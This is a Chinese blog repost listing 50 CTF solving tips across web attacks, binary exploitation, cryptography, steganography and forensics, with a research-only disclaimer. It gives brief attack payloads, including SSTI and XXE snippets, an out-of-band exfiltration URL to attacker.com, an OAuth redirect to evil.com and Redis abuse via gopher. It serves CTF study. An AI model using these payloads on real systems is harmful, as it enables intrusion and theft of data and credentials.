CTF选手必藏的50个实战解题思路

admin 2025年2月4日13:49:16评论21 views字数 2809阅读9分21秒阅读模式

CTF竞赛的核心逻辑

  • • 核心目标:快速拆解问题(Flag导向)、工具链协作、模式化思维。

  • • 关键原则:先广度后深度(优先收集信息)、分治策略(拆解复杂任务)。

第一部分:Web安全(15个思路)

  1. 1. SQL注入绕过WAF

    • • 使用/*!50000注释*/混淆SQL语句(MySQL特性)。

    • • 利用CONCAT(CHAR(115),CHAR(101))代替明文字符串。

  2. 2. SSTI模板注入

    • • Flask/Jinja2中通过{{''.__class__.__mro__[1].__subclasses__()}}获取危险类。

    • • Twig模板使用{{_self.env.registerUndefinedFilterCallback("exec")}}执行命令。

  3. 3. 文件包含漏洞利用

    • • PHP伪协议php://input读取POST原始数据,写入Webshell。

    • • 利用logrotate日志文件包含(如/proc/self/environ泄露路径)。

  4. 4. JWT伪造攻击

    • • 修改Header中algnone(需删除签名字段)。

    • • 暴力破解弱密钥(工具:hashcat -m 16500)。

  5. 5. XXE漏洞利用

    • • 通过<!ENTITY xxe SYSTEM "file:///etc/passwd">读取系统文件。

    • • 外带数据利用(OOB):http://attacker.com/?data=%xxe;

  6. 6. CSRF绕过同源策略

    • • 构造自动提交表单的恶意页面,利用<img src="[URL]">触发请求。

  7. 7. SSRF内网探测

    • • 利用gopher://协议攻击Redis未授权访问,写入SSH密钥。

  8. 8. 反序列化漏洞

    • • PHP中利用__destruct()__wakeup()魔术方法触发链。

    • • Java Commons-Collections利用InvokerTransformer执行命令。

  9. 9. Cookie伪造

    • • Flask的Session签名伪造:通过已知密钥生成恶意Cookie(工具:flask-unsign)。

  10. 10. CORS配置错误

    • • 修改请求头Origin: target.com欺骗服务器返回敏感数据。

  11. 11. HTTP请求走私

    • • 利用Transfer-Encoding: chunkedContent-Length冲突绕过网关。

  12. 12. 目录穿越读取文件

    • • 使用....//%2e%2e%2f绕过路径过滤。

  13. 13. Web缓存投毒

    • • 篡改X-Forwarded-Host头注入恶意内容到缓存页面。

  14. 14. OAuth登录劫持

    • • 伪造回调URL窃取授权码(如redirect_uri=http://evil.com)。

  15. 15. 浏览器特性滥用

    • • 利用<link rel="prefetch" href="secret.php">窃取登录态。

第二部分:逆向工程与PWN(12个思路)

  1. 16. 函数定位技巧

    • • IDA中搜索字符串"flag""correct"定位关键逻辑。

  2. 17. 栈溢出利用

    • • 计算偏移量(cyclic 200生成字符串 + dmesg查看崩溃地址)。

  3. 18. 格式化字符串漏洞

    • • 利用%n向任意地址写入数据(如修改GOT表)。

  4. 19. 堆利用(UAF/Double Free)

    • • 释放后重用(UAF)修改虚表指针劫持控制流。

  5. 20. ROP链构造

    • • 使用ROPgadget --binary ./pwn提取可用指令片段。

  6. 21. 反调试绕过

    • • 修改/proc/self/status中的TracerPid字段欺骗检查。

  7. 22. 动态Hook技术

    • • 使用LD_PRELOAD劫持strcmp()函数绕过密码校验。

  8. 23. Shellcode编写

    • • 生成无空字符的Shellcode(msfvenom -b 'x00')。

  9. 24. 整数溢出利用

    • • 触发符号错误(如size = -1绕过长度检查)。

  10. 25. Angr符号执行

    • • 自动化求解路径约束(示例:破解CTF中的“迷宫”题)。

  11. 26. Patch二进制文件

    • • 使用Binary Ninja修改跳转条件(如jz → jnz)。

  12. 27. 侧信道攻击

    • • 通过时间差判断密码正确性(如逐字符爆破)。

第三部分:密码学与隐写术(13个思路)

  1. 28. Base家族识别

    • • Base64(末尾=)、Base32(全大写字母)、Base58(无0/O/I/l)。

  2. 29. RSA低指数攻击

    • • 当e=3且明文较短时,直接对密文开立方。

  3. 30. RSA共模攻击

    • • 相同明文加密后,通过扩展欧几里得算法恢复明文。

  4. 31. 哈希长度扩展攻击

    • • 利用SHA1/MD5的填充机制伪造合法签名(工具:hash_extender)。

  5. 32. 培根密码

    • • 5位二进制模式(A=AAAAA, B=AAAAB...)。

  6. 33. 词频分析

    • • 英文单表替换密码中统计高频字母(如E、T、A)。

  7. 34. LSB隐写提取

    • • 使用Stegsolve.jar分析图片RGB最低位。

  8. 35. 音频隐写

    • • Audacity查看频谱图,寻找摩尔斯电码或二进制波形。

  9. 36. ZIP伪加密破解

    • • 修改ZIP文件头加密标记位(工具:zipdetails分析结构)。

  10. 37. PDF隐写

    • • 使用pdftotext提取隐藏文本,或检查对象流(/FlateDecode)。

  11. 38. NTFS数据流隐藏

    • • 使用dir /R查看ADS(Alternate Data Stream)。

  12. 39. PNG文件修复

    • • 手动修复文件头(89 50 4E 47 0D 0A 1A 0A)和CRC校验。

  13. 40. 二维码数据提取

    • • 使用zbarimg扫描模糊或残缺二维码。

第四部分:MISC与编程(10个思路)

  1. 41. 编码转换自动化

    • • Python脚本批量处理Hex/Base85/URL编码。

  2. 42. 流量分析(Wireshark)

    • • 过滤HTTP流:http.request.method == "POST"

  3. 43. 内存取证(Volatility)

    • • 提取进程列表:volatility -f dump.raw pslist

  4. 44. 社会工程学信息收集

    • • 通过WHOIS查询域名注册人邮箱。

  5. 45. 正则表达式暴力提取

    • • 使用grep -oE 'flag{[a-zA-Z0-9_]+}'快速匹配Flag格式。

  6. 46. 时间盲注自动化

    • • 编写Python脚本结合requests与延时判断逐字符爆破。

  7. 47. Git泄露利用

    • • 访问/.git/HEAD确认存在,使用git-dumper恢复源码。

  8. 48. DNS隧道检测

    • • 分析长域名请求(如abcd1234.evil.com携带Base64数据)。

  9. 49. Excel宏代码提取

    • • 解压XLSM文件,检查vbaProject.bin中的恶意宏。

  10. 50. PDF混淆绕过

    • • 使用qpdf --stream-data=uncompress解压对象流。

原文始发于微信公众号(HACK之道):CTF选手必藏的50个实战解题思路

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月4日13:49:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTF选手必藏的50个实战解题思路https://cn-sec.com/archives/3697455.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息